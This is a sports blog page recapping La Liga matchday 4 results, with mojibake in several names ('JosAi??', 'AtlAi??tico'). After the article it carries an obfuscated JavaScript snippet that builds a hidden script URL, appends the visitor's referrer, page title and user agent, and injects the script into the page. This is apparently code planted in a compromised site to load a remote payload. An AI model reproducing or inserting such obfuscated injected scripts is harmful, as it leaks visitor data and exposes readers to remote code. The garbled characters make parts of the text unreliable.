Barcelona Keep Cruising While Real Madrid Further Compromise Their La Liga Hopes

Week 4 of La Liga might very well turn out to have decided the championship, as Barcelona opened an 8 point lead over their main (and, quite frankly, only) rivals to the title – Real Madrid. It was in the Spanish capital that Barcelona took this important step forward with a 4-1 win over Real Madrid’s neighbours, Getafe. Ai??The in-form Adriano opened the scoring for the visitors after a fantastic bit of skill from Cesc Fabregas; Lionel Messi started on the bench due to fatigue provoked by the international match but came onto the pitch 30 minutes from the end to effectively settle it with a brace – a penalty and a tap-in. Getafe got one back through a somewhat lucky Mascherano own goal, but David Villa continued his excellent return to action, coming into the match in the final minutes to score the fourth and final goal with an exquisite finish. With another dominant performance, Barcelona have kept their perfect La Liga record under Tito Vilanova, with four wins in as many matches.

Not a good start of the season for JosAi?? Mourinho’s outfit

Meanwhile, in Andaluzia, JosAi?? Mourinho’s outfit conceded on the second minute of the match at the Sanchez Pijuan and could do nothing to reverse the score. Sevilla held on to their advantage through perfect defense and heavy pressure on Real’s players across the pitch, and showed that they will be a force to be reckoned with this season in the race for a Champions League spot.

JosAi?? Mourinho wasn’t a happy man after the match, going as far as to claim that he doesn’t have a team at the moment. You can fully expect Real Madrid to bounce back strong, but an 8 points deficit is a lot in a setup like La Liga that has required about 100 points to be won in recent years. A potential defeat at Camp Nou in three weeks time could be the final nail in Madrid’s coffin as far as their league aspirations are concerned.

Valencia finally got their first win of the season, 2-1 at home against newly promoted Celta. Valencia didn’t play anywhere near as well as in their trips to the Bernabeu and the Camp Nou, but they got the win due to their ruthless efficiency in front of goal and Celta’s wastefulness. Pellegrino still has work to do to make Valencia the team that the supporters yearn for and that the squad at his disposal should allow to build. The other Champions League team, Malaga, continued their fine start to the season – 10 points from 4 matches – with a 3-1 over the surprising package of last season Levante, who have so far looked incapable of even coming close to last season’s exploits. This match marked the return of Javier Saviola to La Liga and what a return it was – the diminutive Argentine scored the opener and then assisted JoaquAi??n, showing what a great reinforcement he can be to Manuel Pellegrini’s side.

Last year’s two Europa League finalists played by far the most exciting matches of the weekend, full of goals, twists and turns. AtlAi??tico looked to be crusing to an easy home win over Rayo Vallecano when Falcao put them 4-0 up in the 55th minute, but in stunning fashion Rayo got one back in the 82nd minute and then two more in the following five minutes – Delibasic with a brace and Leo; and the dying minutes of the match saw AtlAi??tico up against the wall, nearly letting what looked like a sure win escape. In the end, it was only a scare but it will surely teach Diego Simeone and his pupils valuable lessons for the future. In Barcelona, Marcelo Bielsa’s Athletic tied 3-3 against Espanyol, in an extraordinarily fast-paced and entertaining match that could have gone either way. This was Espanyol’s first point of the season, but Pochettino expressed his frustration at how close victory was.

In the weekend’s less glamorous matches, Osasuna and Mallorca tied 1-1, as have Granada and Deportivo, while Real Sociedad beat Zaragoza 2-0 at home and Betis got a 1-0 win at Valladolid. Like Espanyol, Osasuna also got their first point of the season.

La Liga – Matchday 4 Takeaways

 

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d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Exit mobile version